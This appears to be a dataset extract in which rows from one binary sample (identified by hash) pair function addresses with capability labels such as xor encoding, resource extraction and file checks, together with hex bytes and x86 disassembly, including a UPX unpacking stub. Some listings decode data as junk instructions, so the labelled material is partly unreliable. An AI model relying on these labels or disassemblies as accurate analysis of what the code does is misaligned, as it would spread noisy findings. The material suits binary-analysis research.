"ja 0x425128",
"cmp byte [edi], 4",
"jne 0x425128",
"mov eax, dword [edi]",
"mov bl, byte [edi + 4]",
"shr ax, 8",
"rol eax, 0x10",
"xchg ah, al",
"sub eax, edi",
"sub bl, 0xe8",
"add eax, esi",
"mov dword [edi], eax",
"add edi, 5",
"mov al, bl",
"loop 0x42512d",
"lea edi, [esi + 0x22000]",
"mov eax, dword [edi]",
"or eax, eax",
"je 0x42519c",
"mov ebx, dword [edi + 4]",
"lea eax, [eax + esi + 0x25000]",
"add ebx, esi",
"push eax",
"add edi, 8",
"call dword [esi + 0x25064]",
"xchg ebp, eax",
"mov al, byte [edi]",
"inc edi",
"or al, al",
"je 0x42515a",
"mov ecx, edi",
"push edi",
"dec eax",
"repne scasb al, byte es:[edi]",
"push ebp",
"call dword [esi + 0x25068]",
"or eax, eax",
"je 0x425196",
"mov dword [ebx], eax",
"add ebx, 4",
"jmp 0x425177",
"call dword [esi + 0x25078]",
"mov ebp, dword [esi + 0x2506c]",
"lea edi, [esi - 0x1000]",
"mov ebx, 0x1000",
"push eax",
"push esp",
"push 4",
"push ebx",
"push edi",
"call ebp",
"lea eax, [edi + 0x1ef]",
"and byte [eax], 0x7f",
"and byte [eax + 0x28], 0x7f",
"pop eax",
"push eax",
"push esp",
"push eax",
"push ebx",
"push edi",
"call ebp",
"pop eax",
"popal",
"lea eax, [esp - 0x80]",
"push 0",
"cmp esp, eax",
"jne 0x4251d0",
"sub esp, 0xffffff80",
"jmp section.UPX0"
] |
032a46ce5401e2d41923982a1a7ddebfb188b6587c4cfa4ded8f6ef0e80b8319
|
0x401180
|
[
"Extract resource via kernel32 functions"
] |
538b5c2408578b7c24105753ff15ecf2420085c075035f5bc35650ff15f0f242008bf085f675065e5f33c05bc35753ff15f4f242008b4c241803c683e10f760e3bf073e3490fb7168d74560275f23bf073d5668b0666f7d81bc023c65e5f5bc3
|
[
"push ebx",
"mov ebx, dword [esp + 8]",
"push edi",
"mov edi, dword [esp + 0x10]",
"push edi",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_LoadResource]",
"test eax, eax",
"jne 0x401199",
"pop edi",
"pop ebx",
"ret",
"push esi",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LockResource]",
"mov esi, eax",
"test esi, esi",
"jne 0x4011ad",
"pop esi",
"pop edi",
"xor eax, eax",
"pop ebx",
"ret",
"push edi",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_SizeofResource]",
"mov ecx, dword [esp + 0x18]",
"add eax, esi",
"and ecx, 0xf",
"jbe 0x4011ce",
"cmp esi, eax",
"jae 0x4011a7",
"dec ecx",
"movzx edx, word [esi]",
"lea esi, [esi + edx*2 + 2]",
"jne 0x4011c0",
"cmp esi, eax",
"jae 0x4011a7",
"mov ax, word [esi]",
"neg ax",
"sbb eax, eax",
"and eax, esi",
"pop esi",
"pop edi",
"pop ebx",
"ret"
] |
032a46ce5401e2d41923982a1a7ddebfb188b6587c4cfa4ded8f6ef0e80b8319
|
0x409539
|
[
"Encode data using xor"
] |
231d8500000000a83e05d0839f1a8a588392d48392d4d25e075f8392d4d25e075f111300000c13000002000000e5000000da6a0300000000006666c0302adccb012fa1111f000000005cc05b0cf80a2563db2744b8344c2bb20b130000021300000300000030000000bf6b0300000000003837bf342adccb012d1b9328000000002cb9e085cc
|
[
"and ebx, dword [0x85]",
"add byte [eax - 0x7c2ffac2], ch",
"lahf",
"sbb cl, byte [edx - 0x2b6d7ca8]",
"adc dword [edx + 0x75ed2d4], 0x5f",
"adc dword [edx + 0x75ed2d4], 0x5f",
"adc dword [ebx], edx",
"add byte [eax], al",
"or al, 0x13",
"add byte [eax], al",
"add al, byte [eax]",
"add byte [eax], al",
"in eax, 0",
"add byte [eax], al",
"fisubr dword [edx + 3]",
"add byte [eax], al",
"add byte [eax], al",
"add byte [esi + 0x66], ah",
"sal byte [eax], 0x2a",
"fmul st(3), st(0)",
"add dword [edi], ebp",
"mov eax, dword [0x1f11]",
"add byte [eax], al",
"pop esp",
"rcr byte [ebx + 0xc], 0xf8",
"or ah, byte [0x4427db63]",
"mov eax, 0xb22b4c34",
"or edx, dword [ebx]",
"add byte [eax], al",
"add dl, byte [ebx]",
"add byte [eax], al",
"add eax, dword [eax]",
"add byte [eax], al",
"xor byte [eax], al",
"add byte [eax], al",
"mov edi, 0x36b",
"add byte [eax], al",
"add byte [eax], bh",
"aaa",
"mov edi, 0xcbdc2a34",
"add dword [0x28931b], ebp",
"add byte [eax], al",
"add byte [ecx + edi*4], ch",
"loopne 0x409529",
"int3"
] |
032a46ce5401e2d41923982a1a7ddebfb188b6587c4cfa4ded8f6ef0e80b8319
|
0x40f297
|
[
"Encode data using xor"
] |
a9dbe7340513bb63c99b14b219b4cb8962fce24c59d5d934fc89dca18899e4323f7f2b0559711e3cb37846835ba5cfe63b748decd912818e2f71a05f951d7daaf372253f7f2b0559711e3cb37846835ba5cfe63b748decd912
|
[
"test eax, 0x534e7db",
"adc edi, dword [ebx + 0x149bc963]",
"mov dl, 0x19",
"mov ah, 0xcb",
"mov dword [edx - 4], esp",
"loop 0x40f288",
"pop ecx",
"aad 0xd9",
"xor al, 0xfc",
"mov esp, ebx",
"mov eax, dword [0x32e49988]",
"aas",
"jg 0x40f276",
"add eax, 0x3c1e7159",
"mov bl, 0x78",
"inc esi",
"sbb dword [ebx - 0x5b], 0xffffffcf",
"out 0x3b, al",
"je 0x40f1e8",
"in al, dx",
"fst dword [edx]",
"or dword [esi + 0x5fa0712f], 0xaa7d1d95",
"jb 0x40f29e",
"aas",
"jg 0x40f2b6",
"add eax, 0x3c1e7159",
"mov bl, 0x78",
"inc esi",
"sbb dword [ebx - 0x5b], 0xffffffcf",
"out 0x3b, al",
"je 0x40f228",
"in al, dx",
"fst dword [edx]"
] |
032a46ce5401e2d41923982a1a7ddebfb188b6587c4cfa4ded8f6ef0e80b8319
|
0x41c2cb
|
[
"Check if file exists",
"Get file attributes",
"Get file size"
] |
558bec83ec2053568b750857682801000033db53568bf9e83940ffff83c40c6804010000ff770c8d462250ff15a4f242008b47043b05601d43000f84c70000008d4de8518d4df0518d4df85150ff1564f2420085c0741953ff7704ff1568f2420083f8ff894618895e1c750b3bdb750733c0e9930000008b7f0c395ff47505885e20eb1457ff156cf2420083f8ff0f94c1fec923c8884e206aff8d45f8508d4de0e8c989feff8b08890e8b40048946046aff8d45f0508d4de0e8b189feff8b08894e108b40048946146aff8d45e8508d4de0e89889feff8b08894e088b4804894e0c8b0e0b4e04750a8b08890e8b40048946048b46100b4614750c8b46088946108b460c89461433c0405f5e5bc9c20400
|
[
"push ebp",
"mov ebp, esp",
"sub esp, 0x20",
"push ebx",
"push esi",
"mov esi, dword [ebp + 8]",
"push edi",
"push 0x128",
"xor ebx, ebx",
"push ebx",
"push esi",
"mov edi, ecx",
"call fcn.00410320",
"add esp, 0xc",
"push 0x104",
"push dword [edi + 0xc]",
"lea eax, [esi + 0x22]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_lstrcpynA]",
"mov eax, dword [edi + 4]",
"cmp eax, dword [0x431d60]",
"je 0x41c3d2",
"lea ecx, [ebp - 0x18]",
"push ecx",
"lea ecx, [ebp - 0x10]",
"push ecx",
"lea ecx, [ebp - 8]",
"push ecx",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileTime]",
"test eax, eax",
"je 0x41c33b",
"push ebx",
"push dword [edi + 4]",
"call dword [sym.imp.KERNEL32.dll_GetFileSize]",
"cmp eax, 0xffffffff",
"mov dword [esi + 0x18], eax",
"mov dword [esi + 0x1c], ebx",
"jne 0x41c342",
"cmp ebx, ebx",
"jne 0x41c342",
"xor eax, eax",
"jmp 0x41c3d5",
"mov edi, dword [edi + 0xc]",
"cmp dword [edi - 0xc], ebx",
"jne 0x41c34f",
"mov byte [esi + 0x20], bl",
"jmp 0x41c363",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"sete cl",
"dec cl",
"and ecx, eax",
"mov byte [esi + 0x20], cl",
"push 0xffffffffffffffff",
"lea eax, [ebp - 8]",
"push eax",
"lea ecx, [ebp - 0x20]",
"call fcn.00404d3a",
"mov ecx, dword [eax]",
"mov dword [esi], ecx",
"mov eax, dword [eax + 4]",
"mov dword [esi + 4], eax",
"push 0xffffffffffffffff",
"lea eax, [ebp - 0x10]",
"push eax",
"lea ecx, [ebp - 0x20]",
"call fcn.00404d3a",
"mov ecx, dword [eax]",
"mov dword [esi + 0x10], ecx",
"mov eax, dword [eax + 4]",
"mov dword [esi + 0x14], eax",
"push 0xffffffffffffffff",
"lea eax, [ebp - 0x18]",
"push eax",
"lea ecx, [ebp - 0x20]",
"call fcn.00404d3a",
"mov ecx, dword [eax]",
"mov dword [esi + 8], ecx",
"mov ecx, dword [eax + 4]",
"mov dword [esi + 0xc], ecx",
"mov ecx, dword [esi]",
"or ecx, dword [esi + 4]",
"jne 0x41c3be",
"mov ecx, dword [eax]",
"mov dword [esi], ecx",
"mov eax, dword [eax + 4]",
"mov dword [esi + 4], eax",
"mov eax, dword [esi + 0x10]",
"or eax, dword [esi + 0x14]",
"jne 0x41c3d2",
"mov eax, dword [esi + 8]",
"mov dword [esi + 0x10], eax",
"mov eax, dword [esi + 0xc]",
"mov dword [esi + 0x14], eax",
"xor eax, eax",
"inc eax",
"pop edi",
"pop esi",
"pop ebx",
"leave",
"ret 4"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.